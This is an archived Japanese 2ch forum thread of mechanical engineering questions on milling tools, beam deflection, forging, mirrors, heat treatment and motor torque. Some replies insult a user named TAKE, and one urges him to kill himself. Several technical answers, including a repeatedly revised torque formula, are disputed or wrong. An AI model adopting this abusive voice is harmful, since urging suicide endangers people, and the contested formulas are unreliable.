ラフィングエンドミルについて質問です。

ラフィングのエンドミルでファインピッチのものとニック付きのもの
とありますが使用した時の違いってなんですかね？ファインしか使用
したことがないのでわかりません。見た目ニックつきの方がバリバリ
削れそうですが・・・どうなんでしょう。教えてください。

ジャリジャリ・ゴリゴリって漢字かな。（カタカナだー）

ファインの方が細かいだけ、素材によっても違いがあると思うよ。
で、素材なに？奇怪剛性は、足りてる？と様々ある。

長さ３メートルの鋼製の片持ち梁が全長に平等荷重７５メガパスカルの最大応力を生じる。
この梁もの自由端のたわみの求め方を教えてください。
ヤング率が2.1×10^5メガパスカル。
また、材料の断面は長方形で３０センチ×１０センチ。
断面２次モーメントが2.25×10^4N・ｍです。

平均荷重なのか最大応力なのかはっきりしる。

素材はSS４００です。機械はメカニクスのFM１００使ってます。

長さ３メートルの鋼製の片持ち梁が全長に平等荷重を受け、７５メガパスカルの最大応力を生じる。
この梁もの自由端のたわみの求め方を教えてください。
ヤング率が2.1×10^5メガパスカル。
また、材料の断面は長方形で３０センチ×１０センチ。
断面２次モーメントが2.25×10^4N・ｍです。

>118
とりあえず、読んどけ
http://kozo.milkcafe.to/rikigaku2/henkei.html

>>118
センチとか書いてる時点で、こたえる気が失せた。

>>120
それはともかく

断面２次モーメントが2.25×10^4N・ｍ

で工学系の人間ではないのが明らか

すいません。フーリエ変換の問題でわからないところがあるのですが、
どこの板で質問したらよいかわかりません。どなたか教えていただけませんか？

はじめて、２ちゃんねるに書き込みをした。
前から２ちゃんねるの評判が悪いのでここにはこないようにしてました。
確かに、自分の問題が間違ってましたが、他のところではきちんと人の気持ちを考えて指摘してくれました。
絶対もうここにはこないと心に決めました。

>>123
初めてのときは、痛いもんだよ。そのうち気持ちよくなるよ。

>>123
彼方のような人の為の決まり文句があります
「半年ＲＯＭってろ」

なぜチェーンには油をささねばならないのですか？

>>126
ミモーするから。

>>127
何が言いたいか理解するのに5秒かかった。
そしてﾜﾛﾀ

　
釣り質問と自演の回答で、超有名なスレッドが有ると聞いたのですが、ここのことでしたか。

>>109
『 特定の人間によって、言論支配された掲示板 だった 』
だったではなく今もそうなので
もうでて来なくていいよ>>129

　
まぁ時々は見てあげるよ。（笑い）

低レベルな「議論もどき演技」には、ほとんど興味はないけど。

信号処理の分野の質問です。移動平均法で、雑音などの除去をしましたが、
サンプル数を上げていくと、整形した波形の両端が欠落します。
これはなぜ起こるのでしょうか？どなたか教えてください。
よろしくお願いします！

生産技術って「部品のＣＡＤデータを基に金型を作ったりＮＣプログラムを作ったりする仕事」ですか？

そうです。

そうだったのか。

>129-131はＴＡＫＥのレス　唯の荒らし

かまいたい人は、こっちへ
【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp4.2ch.net/test/read.cgi/tubo/1108880979/l50

>>134-135
？？？？？？？？？

>133
例えば、食品会社と機械会社を考えればわかるように、会社によって違う
機械メーカーの生産技術の中には、それも入っているが
あくまで生産技術部や課の仕事の一部
金型以外にラインの配置なんかの検討も行う

会社によっては生産部が物つくり全般で、生産技術は
ユーティリティを担当するというところもある。
もう少し具体的に聞かないと回答はこないかと

>>138 ありがとうございます。
自動車や重工系のメーカーについて知りたいです。

>133
http://www.tombow.com/recruit/intro/gijjutsu.html
お考えの生産技術部のイメージに近いところです。

自動車の生産技術部だと
http://www1.harenet.ne.jp/~noriaki/link61.html　　より引用
　トヨタの工場には「生産技術部」という部門があり、ここでは生産効率の改善と同様に、
品質の改善を生産設備の面から検討していく。ここのスタッフは工学部出身のエンジニアで、
開発部のエンジニアと同じレベルの技量を持ち合わせている。
つまり、トヨタでは、生産現場と生産技術が同じ現場で同居しているわけだ。
これも、トヨタ流の現場主義の思想の反映だといえる。
トヨタ生産方式でライン改造を進めてきたのは、この生産技術部でもあったのだ。(114〜5ページ『トヨタとホンダ』)

ちなみに三菱は
http://www.hzs.co.jp/hitoto_s/no21/no21_mitubisi.htm　より引用すると
生産技術部は、その２ヶ所の工場において新しい車種が開発され生産される場合に、生産準備を行う部門です。
生産技術には、プレス・溶接・鋳造・機械加工・塗装・エンジン関係といろいろな分野があり、
それらを組み付けて自動車にする艤装組立てまでを取りまとめています。

とこんな感じ
採用情報のページなんかを探していけば、その会社の生産技術が何をしているか載っていると思う

>>140 ありがとうございます。
一般的に部品は下請け業者に任すことが多いと聞きますが、
ＮＣプログラムの製作はどちらの仕事になるのでしょうか？

>141
生産と生産技術のどちらがプログラミングをするのかということですか
それとも、親会社から下請けの部品会社までのどこで実際の
プログラミングをしているのかということですか

飛び越しコレットって、径で何ミリまでなら飛び越しできるのかな？
チャッキング径が１４ミリなんだけど。
それと飛び越すところは自分でボーリングするの？
それとも市販品てあるの？
誰か教えて下さい。

>>142　もし可能でしたら両方教えていただきたいです。

質問です。

・なぜ直流分巻電動機は電流が少なくなると回転が速くなるんですか？
・直流分巻電動機と直流直巻電動機は具体的にどのような用途に用いられますか？

どなたかご回答おねがいします

>145
それは、こっち向きかと
◆【ﾓｰﾀ】電力・電気機械の質問･雑談2【発電機】
http://science3.2ch.net/test/read.cgi/denki/1091983642/l50

>>146
どもです。いってきます。

http://www.system-brain.com/cgi-bin/wmbp/wingmulti2.cgi?bbsname=kaigi

簡単なものですが、設計できる方、
こちらのスレッドに来ていただけないでしょうか。

4輪自転車を自作しようと思ってるんだが
http://ex10.2ch.net/test/read.cgi/news4vip/1114521132/

赤外用ミラーとはどういったものなのでしょうか？ぐぐっても具体的なものが出てこなかったので・・・。

>>149
設計できる人より
調達できる人と加工できる人を呼んだほうがいいよ。
4輪自転車は今万博で走ってるから
自転車板住人ならすぐ構造わかるだろうし。
フレームビルダーが居たら一発だが。

>>150
赤外反射
http://www.google.co.jp/search?hl=ja&c2coff=1&q=%E8%B5%A4%E5%A4%96%E5%8F%8D%E5%B0%84&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja
熱反射
http://www.google.co.jp/search?hl=ja&c2coff=1&q=%E7%86%B1%E5%8F%8D%E5%B0%84&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

>>136
もうずっと人大杉

携帯 でのアクセスについて

■とりあえずスレッドを読むには■

人大杉についてもっと詳しく知りたい

お願い。
くれぐれもメールで問い合わせ無いようにして下さい。

>150
普通の鏡は、ガラスの裏側に金属メッキをして反射面を作っています。
光はガラスを通ってから反射面にて反射し、またガラスを通って出て行きます。
でも、赤外線を反射させる場合、赤外線はガラスで何%か吸収されてしまい
完全に赤外線を反射させることができません。
そのため、赤外線を反射させるミラーは金属を磨いて
金属の表面に反射面を作り、ガラス内を赤外線が通過しないようにしています。
また鏡面に用いる金属も赤外線反射率の高い銀やアルミを用います。

>152>153はＴＡＫＥ
【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp4.2ch.net/test/read.cgi/tubo/1108880979/l50

赤外用ミラーとは石油ストーブのことでつね。

こんにちは。

普通の鍛造と据込み鍛造の違いはなんでしょうか？
そして据込み鍛造を行う上での条件はなんでしょうか？

よろしくおねがいします。

>>154

＞　ガラスの裏側に金属メッキをして反射面を作っています。　←　【　間違いです。】
ガラス表側に金属メッキをし、反射面を作る鏡もあります。例えば、一眼レフのリターンミラーなど。

＞　赤外線を反射させる場合、赤外線はガラスで何%か吸収されてしまい　←　【　間違いです。】
赤外線以外の光線も、ガラスで何%か吸収されてしまいます。赤外線に限ったことでは有りません。

＞　赤外線を反射させるミラーは金属を磨いて金属の表面に反射面を作り、　←　【　間違いです。】
金属を磨く方法のみでは有りません。めっき、蒸着、水銀表面など、鏡にする方法は多彩ですね。

＞　また鏡面に用いる金属も赤外線反射率の高い銀やアルミを用います。　←　【　間違いです。】
金属の種類などには、関係しません。赤外線の反射率が高ければ、どのような材質でも可能です。

「　嘘　」は、書かないようにお願いします。

＞　【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】　←　【　大間違いです。】
　-------------------------------------------------------------------------
　　【Netの寄生虫】　釣り質問と自演解答で、個人専用日記になってしまったレ３　【ウジ虫】　
　-------------------------------------------------------------------------
まぁこのようなところが、皆様も感じているところの、＜　真実　＞なのでしょうね。

>>156　
＞普通の鍛造と据込み鍛造の違いはなんでしょうか？

普通の鍛造　＝　一般的に、部材の長手と直角方向から力を加え、変形などを加える加工方法。
据込み鍛造　＝　一般的に、部材の長手方向から圧縮力を加え、幅や径などを増やす加工方法。

http://www.techno-qanda.net/dsweb/Get/Rendition-20195/content.txt
http://www.techno-qanda.net/dsweb/
　　1.1.2据込鍛造
　　(1)　一般の据込み
　　据込み鍛造は材料を軸方向に圧縮して、直径を太くする鍛造法である。

ミヤジマ　←　（　動画あり。）
http://miyajima-jp.com/douga.htm
http://miyajima-jp.com/

据込み鍛造　＝　アプセット鍛造
http://www.google.co.jp/search?num=50&hl=ja&c2coff=1&q=%E3%82%A2%E3%83%97%E3%82%BB%E3%83%83%E3%83%88+%E9%8D%9B%E9%80%A0&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

＞据込み鍛造を行う上での条件はなんでしょうか？

その聞き方では、質問への焦点が、かなり漠然としているような気もしますが。。
一度直接、メーカーに聞いて見られたらどうでしょうか。

ＴＡＫＥ君
普通の鏡の説明と勘違いしてないか、そのレス
>154　別に間違っていないと思うが

あと、鏡のように赤外線を反射できるものは
金属、それも銀かアルミぐらいしかないのだが
赤外線用ミラーって普通はアルミ　高級品で銀だが
http://www.jod.or.jp/JOD-metuki/metukisenter/tokusey/metuki_hanshiya1.htm

>>153
無知なTAKEは死ねば良いって事だよ。
早急に自殺せよ、ゴミ野郎。

棒材つぶして釘の頭みたいにするって言うために
わざわざ何行も書き込むくらいのバカだしなぁ・・・

>>161　＞棒材つぶして釘の頭みたいにする

他人が答えた後なら、何とでも言える、わなぁ。
世間ではそう言うのを、《 後出しジャンケン 》と、言われている、わなぁ。
ハズカシイ人、だわなぁ。（ｗ

>>161
>>156 ＞据込み鍛造を行う上での条件はなんでしょうか？

賢いと言うのなら、上の疑問に早く答えてやれ、だわなぁ。（ｗ

>156　据込み鍛造を行う上での条件はなんでしょうか？
据込鍛造する際の元の材料の直径と加工後の材料の直径の関係です。

http://www.techno-qanda.net/dsweb/Get/Document-5520/熱間鍛造p77-p84.pdf
ここの4枚目を見てもらうとわかりやすいかと。
手短に言うと、加工後の直径を太くしすぎてはだめ、ということです

>>164
動画にも有ったように、全体を「型に入れて圧縮する方式」では、
元々の素材が、少々長い形状のもので有っても、問題はないと思う。

>>165
何で直径の話してるのに長さが出てくるんだよハゲ

>>158
>>164
ありがとうございます！！
あまり詳しくない質問でしたが
丁寧に答えてくれて感謝します。

喧嘩はしないでくださいね。
たくさんの色々な意見が聞けるのが
ここの長所ですから、、、。

カムのサイズについての式に
r1+R1=r2+R2=const
て書いてあったのですけど、
constってなにですか？

一定；constant；const.

省略表すピリオド　.　ついてんじゃねぇか

constは一定でございますか。そうでございますか。

>>168は釣り質問でございますか。そうでございますか。

機械屋（のつもり）の２ｃｈネラーって馬鹿だな

ちんちんを大きくする機械を作りたいのですがどうしたら良いでしょうか？

>>173
機械は要らないんじゃないかな？
それってMIN or　MAX 時？

>>174
mcオペのスレできになったんですけどどんなかたなんですか？

形状記憶合金について詳しく載ってるサイトありますか？

>>176
ぐぐれ
超ぐぐれ

大同マテリアルとか
結構わかりやすい気もする。

形状記憶合金

形状記憶合金
http://www.google.co.jp/search?num=50&hl=ja&c2coff=1&q=%E5%BD%A2%E7%8A%B6%E8%A8%98%E6%86%B6%E5%90%88%E9%87%91&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

>>177-179
超ありがとう。感謝する

軸受けブラケットってなんですか？

携帯ユーザーなのでぐぐれないです('A`)

>>181
軸受けを支持している金具

質問！
DIN規格の型鋼の寸法を教えてください。
JISだとG-3191や3192あたり。
DINだと1013〜1029近辺らしいんだが、
ぐぐってるとドイツ語になっちゃうんでお手上げ。
お願いしますm(_ _)m

ムラテックのスレッドってどの板にありますか？

>>184　＞ムラテックのスレッド

にくちゃんねる スレッドタイトル検索(テスト版)
http://makimo.to/2ch/search.html

上の辺りで、調べてちょうだいね。

>>185　の追記。

「過去ログのみを検索する」となっているところを、
「両方を検索対象にする」に変えてから、検索ください。

武藤の古いルーターマシン　ＭＲ-404本体を入手しました。

接続ケーブルＡとＢというコネクターがついているだけで
なにもわかりません。色々検索してみましたが現在消耗品として
カッターが販売されているだけでした。

どなたかお力を貸していただけないでしょうか？
ローランドのＣＡＭＭ2を使っていますがコネクターが
似ているので何らかの規格があるのでしょうか？
よろしくお願いいたします。

欧米ではガソリンよりディーゼルらしいけど、
環境面からいって、いったいどっちのほうがいいの？

今SWC切削法について調べているのですが、なかなか資料が見つかりません。
どなたか詳しい解説があるWebページ等を知っている方がいたら教えてください。

>188
その質問は車のエンジンに関してかと思うが
http://oshiete1.goo.ne.jp/kotaeru.php3?q=1039709
を参考にして欲しいが
その質問では、車の用途によるとしか回答ができないかと

>>188
燃費とか効率は一般的にディーゼルがよさげ
でも軽自動車やバイクにディーゼル載せるわけにもいかないから
ガソリンはガソリンで重宝する。

排気や燃料自体の処理まで含めると
原油の産地によって成分がちょっと変わるから
ケースバイケース。

すいません、極小鋼部品（ワイヤーとか）の焼きなましって
どうやったらいいんでしょうか。どうも焼きが入ってしまいます。

>>192
教科書どおりに炉内で熱源調節しながら冷やしてきゃイインデナイノ。

以下能力を有する軽量発電機を探しています。
詳しい方、何卒レクチャーください。

定格出力：約15kVA/50Hz、約17kVA/60Hz
定格電圧：三相200or220
重量：350kgs以下←これが超ネック

輸入もんでもなんでも構いません。
どなたかご存知ないでしょうか。

>>194
ﾐﾘ

＞＞195
やっぱ無理っすかね。。。
国内もんであれば400kgs以下でも許しちゃうんですけど。

TLG-18SPYか。しかし乾燥重量で４１５�`。

やっぱ�_だな

寸法表記に
１００▼０．５
とありますが、JISで言うところの誤差表記ではどういう風になるのでしょうか？
ご存じの方お願いします。

仕上げ記号が真っ先に浮かんだが
0.5が当てはまらんし
なんだろね。

>>199
海外（韓国製品）の部品寸法なんですが、アメリカとかだとANSIかISOなんでしょうけど韓国だとISO合わせなんでしょうか？

注記にUnspecified tolerance to be ▼0.5とか書いてあるんですが

やっぱ寸法許容差だね
指示ナキ精度は▼0.5トスル
って感じだし。
漏れの勝手な判断だと、0　-0.5とか。

>196
ttp://www.sawafuji.co.jp/html/sh1517_1.htm
これは、どうですか

転造のC5相当の「相当」ってどういう意味？

電気・電子会社の生産技術の仕事は何をするのでしょうか？

例えば、バックライトとかまたは半導体の会社ではどのような仕事になるんでしょうか？
やはりメンテなどがメインになるのでしょうか？
それとも冶具などの設計になるでしょうか？バックライトなどは外装の設計もあるんですかね？

今、就職活動中で半導体関連・電気電子などの機械系の仕事がわからないので教えてくださいm(__)m

>204
生産技術について語ろう↓
http://science3.2ch.net/test/read.cgi/kikai/999172896/

エロい人〜Conc.HFの意味を教えてください。

よく分からんけど
その単語が出てきた図面なり文献と辞書がありゃ分かるんじゃね？

>>193
ありがとうございます。>>192です。
当方ド素人でありまして焼き鈍し炉を持っていないのですorz
灰に突っ込んだりはしてみたのですが
どうもうまくいきません

ここでいいのか分からんけど質問です。

超硬用のﾏｸﾞﾈｯﾄﾁｬｯｸを扱ってる・作ってるﾒｰｶｰってどこがあります？
ｶﾈﾃｯｸとｻﾝｱｲ精機は知ってるんですけど、他にもありますかね？
それと値段も分かれば知りたいです。

>>208
炭でやるんだったら
まだ火がついてる炭の上から灰を厚めにかけて
自然に消えるのを待つのがいいよ。

>>202
ちょっと見てみます。
thanksです。

>>206
エロイ人じゃないけど

Conc.は、concentrate「濃縮物」の省略形です。
濃縮ウランをconc.Uと表現したりします。

HFはFが大文字なので違うかもしれないけど、ハフニウムの元素記号では？

>>210
なるほど！
火にかけたまま灰をかけるとは思いつきませんでした。
やってみます。ありがとうございました。

>>212
うぉぉぉぉありがとうございます。

>>214
ＨＦは、フッ化水素かも。
http://ja.wikipedia.org/wiki/繝輔ャ蛹匁ｰｴ邏�

ごめん、ミスった。
自分で検索して。

>>214
http://www.city.sapporo.jp/kankyo/kagaku_busshitsu/kagaku_busshitsu/haisyutsu/pdf/HF.pdf
何回も、すみません。これです。

なんと親切な！！
ありがとうございましたドモ＼(￣▽￣*)(*￣▽￣)/ドモ

自宅で鋼に焼入れしたい時ってみんなどうしてる？
うちはバーナーで炙ったりするんだけど均一に入らないし加減が解らないし腕も疲れるしでめったにやらない。
でも軸で荷重がかかる部品とか、焼入れしたい時ってのはあるわけで、簡単な電気炉とかできないもんかな。
S45CでＨＲＣ硬さが４０くらいになれば十分なんだけど。

>>219
まずは、ＳＣＭやＳＮＣＭみたいな、焼入れしやすい材料にすれば。
焼入れが必要な部品を、Ｓ４５Ｃで作ったことないけど。

>>219
うちの工場では5時以降に倉庫裏に呼び出して焼き入れてますよ。
先輩の藤沢さんが結構うまかった。「４５ｃちっと裏来いや。。。」
そんな藤沢さんも去年バイクの事故で死にました。

藤沢さんすごいな
定時過ぎてから
しかも屋外で熱処理してたなんて。

昼間だと明るさが変わって、焼いた色がわかりにくいから
薄暗くなってからするのでは？

SP1000の質問此処でしていい？

sp1000でライン挿入の仕方が思い出せないんだけど どうすればいいんでしたっけ？

オールクリアーの仕方も夜路。

初めて質問させていただきます。
総重量が70kgでタイヤによって一般的な道路を走る機械を考えた場合に、
モータのトルクというのはどれくらい必要だと考えるのが良いのですか？
速度やギア比はとりあえずまだ考えていないのですが、10kgほどの機械に
60kgほどの人が乗って動くものを考えています。
漠然とした質問になってしまっていますが、どなたかお答えをください。

>>226
それは、加速度がどのくらい必要かを決めなければ、答えは出ないよ。

その機械が「重い自転車」程度だと考えれば、人力でも動くし。

>>226
模型用のマブチモータでも
ベルトで減速すれば動くよ。

一般的な原付とかと比べたいなら
原付のエンジンと同じくらいトルクが必要

>226
こんなものを考えているのですか？
ttp://www.yamaha-motor.jp/product/mymate/lineup/4wheels/spec/index.html

そうですね。加速度はトルクを決める重要な要素ですね。
1m/s^2程度なのですが、実際、タイヤで走行するのは
物体を上に持ち上げるのと比べてどれくらい効率が良いと考えて良いのですかね。
路面状況によって大きく変わるとは思うのですが。

>>230
最高速度はどれ位にしたいの?
あの、動力の性能は出力(W)で表されますので…。

極端な話>>228が言うように速度10mm/hでも良いなら模型用モータを
減速させるだけでOKだし、70〜80km/h出したいなら50cc位のエンジンは
必要だし。

>>物体を上に持ち上げるのと比べて
？？？　持ち上げる高さ量と横方向の移動量に対するエネルギーの比較？　
それとも持ち上げて横方向に移動するの？どうやって？？？？？

>>231
タイヤの損失（伝達効率）を言いたいんじゃないの？
とりあえず226は何年生なのか明らかにするように。
説明の仕方が変わるので。

>>226
な〜んにも考えずに答えると、

　Ｆ＝ｍａ／η
　　Ｆ：車輪の接線荷重、ｍ：車重＋荷、ａ：要求加速度
　　η：車輪の走行効率(ちょっと不適切な言葉かも)

んで、車輪の半径がｒとすれば、車軸上での要求トルクは、

　Ｔ＝Ｆｒ

こんな感じでは？
ηはナゾだけど、0.9位でいいんじゃないかナ。ちなみに、
空気抵抗などは完全無視。実験時には安全に気をつけてネ。

そうです。皆さんに言われて質問したい内容がわかりました。すいません。
タイヤの損失（伝達効率）のようなものが知りたいです。

>>234
昔の機械工学便覧には各種車輪と各種路面・レ−ル間の転がり摩擦係数：ｆ　が記載されていたよ。
ギヤドモータなんかのカタログのクレーンや走行台車の走行動力計算にこの転がり摩擦係数：ｆ　が
よく使われていたよ。この転がり摩擦係数：ｆ　は通常の滑り摩擦係数：μのように無次元ではなくて
長さの単位をもっていることに注意が必要だよ。車輪の荷重に転がり摩擦係数：ｆ　を乗ずると即、
車輪が転がるのに要する車輪軸上のトルクが求まるという至極簡単な実用的なものなんだよ。

この転がり摩擦係数：ｆ　は非常にプラクティカルで使いやすいんだけど学問的には？？？なためか
近年の機械工学便覧には記載されなくなったようだよね。

化石登場？

旋盤のチップのネガとポジってどう違うの？

>>226　＞　タイヤによって一般的な道路を走る機械を考えた場合に、モータのトルクというのは（１）

車両の「走行抵抗や必要な力」を求めるには、
-----------------
　　１．タイヤの「転がり抵抗」。
　　２．ボディーの「空気抵抗」。
　　３．登坂時の「勾配抵抗」。
　　４．加速時の「加速抵抗」。
-----------------

などを考える必要が有りますが、「転がり抵抗」のトルクのみなら、下の計算でで求めれば良いでしょう。
-----------------
　　（（車輪の必要回転トルク））　＝　車体の総重量　×　タイヤの転がり摩擦係数　×　車輪回転半径
　　　モータの必要トルク　＝　（（車輪の必要回転トルク））　×　駆動装置の効率　×　モータの効率
-----------------

「転がり抵抗」だけでなく、「駆動装置の効率」や「モータの効率」など、さまざまな部分にも、
伝達損失はありますので、計算のみで考える場合には、それらのこともよく考えてみる必要があります。

「転がり抵抗」以外の、「空気抵抗」「勾配抵抗」「加速抵抗」に関しては、また別の計算式で新たに求め、
上の計算値に、それを加えればよろしいでしょう。

>>234　＞　タイヤの損失（伝達効率）のようなものが知りたいです。

「 タイヤの損失 ＝ タイヤの転がり摩擦係数 」は、タイヤの種類や直径や空気圧によって異なりますので、
そのデータが公表されているかどうかも知りませんが、「丸善の工学便覧」などで調べてみるか、あるいは、
「直接の実験」で、自分で求めるしかないのでしょう。

>>226　＞　タイヤによって一般的な道路を走る機械を考えた場合に、モータのトルクというのは（２）

技術解説資料１　「　モーターサイクルに最適な動力性能とは　」
http://www.honda.co.jp/factbook/motor/SUPERHAWK/19800700/011.html

　　●走行抵抗力を表すには、F=kg、PS=馬力などがありますが、一般的にわかり易い馬力で表してみます。
　　　まず式は(但し平担路において)
　　　　　　　　R=(AV2+B・W)×V/270…(1)
　　　ここで　　
　　　　　　　　R=走行抵抗(PS)
　　　　　　　　A=空気抵抗係数
　　　　　　　　B=転がり抵抗係数
　　　　　　　　V=車速(km/h)
　　　　　　　　W=車重(ライダー重量を含む)
　　　で表されます。（　以下例題などは全部略。）

　　　ここで(1)式を基に、中排気量クラスのA、B、V、Wに一般的な値を入れて車速50km/h、100km/h、　
　　　150km/h、180km/h時の平担路においての走行抵抗値(つまり各設定速度で走行するのに必要な馬力)を求めてみると、

　　　A=0.00235(通常の乗車姿勢)
　　　B=0.014
　　　W=170+60(車体+ライダー)
　　　とした時の各車速における走行抵抗値(PS)は、
　　　50km/h 　　1.7PS 　
　　　100km/h　　9.9PS 　
　　　150km/h　　31.2PS 　
　　　180km/h　　52.9PS　となります。

上の計算式は、「転がり抵抗」と「空気抵抗」のみを考えた方式ですが、「勾配抵抗」と「加速抵抗」は、
別途にもとめる計算方法のようです。自分でやられる場合には、すべて個別に計算して合算する方式の方が、
結果的に、判りやすくなると思われます。

>>226　＞　タイヤによって一般的な道路を走る機械を考えた場合に、モータのトルクというのは（３）

「　最高速度計算プログラム　」
http://www.tsuchimochi.net/car/calpower.html
http://www.tsuchimochi.net/car/

はてな　「 ？ 自動車の馬力の計算式を探しています。 」
http://www.hatena.ne.jp/1055640029

上のページなども参考になりますが、特に「はてな」のページは、間違った考え方も多いようなので、
気をつけて自分でよく考えてください。不明な部分があれば、その部分のみ再度質問をしてください。

>>238　訂正します。

×　（（車輪の必要回転トルク））　＝　車体の総重量　×　タイヤの転がり摩擦係数　×　車輪回転半径
×　モータの必要トルク　＝　（（車輪の必要回転トルク））　×　駆動装置の効率　×　モータの効率

「モータの効率」は、動力（電力）を計算する場合には必要ですが、モータの出力軸までのトルクが必要なら、
この係数は省く方が良いですね。と言うことで、下のように訂正します。

-----------------

【 転がり抵抗による、モータ必要トルク 】 ＝ 車体の総重量 × タイヤの転がり摩擦係数 × 車輪回転半径 × 駆動装置の効率

-----------------

>>241　訂正します。
いかん。。またまた間違いだ〜。

転がり抵抗の場合の、
-----------------

【 モータの必要トルク 】 ＝ 車体の総重量 × タイヤの転がり摩擦係数 × 車輪回転半径 ÷ 減速比 ÷ 駆動装置全体の効率

-----------------
・　もし減速装置が介在するのなら、その分、トルクは少なくてすみますね。
・　まぁトルクのみではなくて、最終的にはパワーで考える必要はありますが。。

>>238-242
転がり摩擦係数って長さの単位もつんなら、式おかしいんじゃない？

>>転がり摩擦係数って長さの単位もつ

物理法則を超越しとりますなw

>>244
転がりに要するトルクは車輪直径に比例するとお考えの様子でｗ

>>243　＞　転がり摩擦係数って長さの単位もつんなら、

現在の、『 転がり摩擦係数 ＝ μ 』の場合には、一般の「滑り摩擦係数」と同じ考え方で、
単なる、「荷重間の比率を表した値」になるため、無名数（単位の付かない数）になります。

・　「すべり摩擦係数」　＝　滑らすために必要な荷重　÷　すべり面に直角に加わる荷重
・　「転がり摩擦係数」　＝　転がるために必要な荷重　÷　転がり面に直角に加わる荷重

転がり摩擦は、摩擦と言う名称にはなっていますが、これは単に便宜上付けられたもので、
一般に考えられるような、「摩擦と言う概念」とは、すこし違う原理で起こるものですが、
同じように表した方が便利、と言うことで、このような名前になっているのだと思われます。

「　２．電動台車の計算（平坦地の場合）　」
http://www.tokushudenso.co.jp/reckoning2heitan.html
http://www.tokushudenso.co.jp/indexA.html

　　　自動車の場合の路面状況と転がり摩擦係数の関係は下記の如くである。
　　　-----------------------------------------------
　　　　路　面　状　況　　　　　　　　　　　　　　転がり摩擦係数
　　　-----------------------------------------------
　　　　良好な平滑アスファルト舗装路　　　　約 ０．０１
　　　　良好な平滑コンクリート舗装路　　　　約 ０．０１１
　　　　手入れの良い平坦な未舗装路　　　　約 ０．０４
　　　　手入れ不良の石の多い道路　　　　　約 ０．０８〜
　　　　新しく砂利を敷いた道路　　　　　　　　約 ０．１２
　　　　ゆるい砂地・粘土質の道路　　　　　　約 ０．２〜０．３
　　　-----------------------------------------------
　　　出典：自動車をはかる（日本規格協会）

「　転がり摩擦係数　」
http://www.google.co.jp/search?num=50&hl=ja&c2coff=1&q=%E8%BB%A2%E3%81%8C%E3%82%8A%E6%91%A9%E6%93%A6%E4%BF%82%E6%95%B0&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

>238-242 >246はTAKE
レスする前にチラシの裏にでも書いて
内容を十分見直してからレスすれば

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp4.2ch.net/test/read.cgi/tubo/1108880979/l50

あと、>241-242　の式だが　
車輪回転半径ではなく、車輪動荷重半径です。

『 動荷重半径 』などと言う言葉を、検索して見ても、たったの「２件」しか出てこない。
と言うことは、一般には、まったく認知されていない【 特殊な世界の言葉 】と言えるか。

知ったかぶりして、そんな言葉を２ちゃんねるで使って見ても、意味が通じないばかりでなく、
標準語の使えない、単に【 きもい野郎 】と思われるだけのこと。

まぁ思われるだけではなくて、実際にも、【 きもい野郎 】なのだが。。（爆笑

http://search.yahoo.co.jp/bin/search?p=%C6%B0%B2%D9%BD%C5%C8%BE%B7%C2&fr=top&src=top&search.x=28&search.y=8

http://www.google.co.jp/search?num=50&lr=lang_ja&ie=sjis&oe=sjis&q=動荷重半径

>>248さんてどれだけ検索の能力がないんだよｗ

>249
しー！！！

そんなもの、誰かの＜　造語　＞ですな。　わははははははははー。

>>249

>>1　＞　(6) 検索結果への直リンは、やめてください。

きみ！。【 きもい野郎 】の言ってる、規則を、守りたまえ！！。

だから、
>レスする前にチラシの裏にでも書いて
>内容を十分見直してからレスすれば
ってことですよ。
ttp://yuukiremix.s33.xrea.com/chirashi/

バタバタと下らない間違いを繰り返すのは理解していない証拠だ。
判らないのなら、ムリして答える必要ないと思うのだが。

>>254
結果的には、「　・　・　・　」が、一番良く答えておる。

オレが提示したηを見てみたらどぉだい？

ソースを丸写しにするから、量ばかり多くなるんだョ。
自分の中で少しは噛み砕いてみてはどうかな？

まあ、どうでもいいことだが。別にあんたを教育して
やるつもりはない。好きにやってくれ。

>>256
>>233　＞　ηはナゾだけど、0.9位でいいんじゃないかナ。

余りにも「アバウト過ぎ」な考え方で、話にもならん。ワイ。

>255
誤　結果的には、「　・　・　・　」が、一番良く答えておる。
正　結果的には、「TAKE」が、自作自演でレスしている。

>248>251-2>255>257はTAKE

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp4.2ch.net/test/read.cgi/tubo/1108880979/l50

機構の自由度を求める問題をとくために機構の運動空間を求めようとしていますが
求め方がよく分かりません。
「平行な軸をもつ4つの回り対偶のつくる単ループ」の機構は平面運動だから
3次元運動空間というような説明しかされてないのですが、
「１つの平面に平行な軸をもつ3つの進み対偶のつくる単ループ」の機構も
3次元運動空間で自由度0でいいのでしょうか？

ひとつの平面に平行なんだから
どうやっても面内運動じゃん。

>>260
面内運動とは三次元平面運動空間とはまた別のものでしょうか？

座グリ穴に入れるキャップスクリューには、スプリングワッシャは
いらないって言う人多いけど、何でか教えてください、ｴﾛｲ人。

>>262
いらないんじゃなくて、入らないんじゃない？
ざぐり穴に使うゆるみ止めワッシャは、ざぐり穴に入る特別なもの使わないと、
普通のざぐり穴には入らないと思う。

>262
同じような質問が昔あったので参考にしてください
http://mori.nc-net.or.jp/EokpControl;jsessionid=C875B8DE7C5EA828945D25DCED33A11A;jsessionid=C875B8DE7C5EA828945D25DCED33A11A?tid=34333&event=QE0004

一般公差とは普通公差のことですか？

また一般公差について教えてください。

普通公差の事です。

>>264
しかしこういう物も市販されている。
ttp://fastener.hp.infoseek.co.jp/link/sw.html
から、全く使わない。というわけでは無さそう。

バネ座金のネジ及び座面に接する部分を撫でてみると解るが、右回転方向と
左回転方向では感触が違うんだよね。ネジを締める方向ではスムーズだが、
緩み方向では引っ掛かる。ワンウエイクラッチになっている。
バネはその機能を発揮させるためにあり、「バネの弾力でネジの緩みを止め
るという直感」は誤りであると思う。

バネザの角が引っかかったくらいで緩み止めになるかなぁ
バネの弾力でねじ山が押し付けられる摩擦の方が圧倒的に大きいだろ。

>>262
ネジの締め付けトルク？？？
http://science3.2ch.net/test/read.cgi/kikai/1015638440/-100
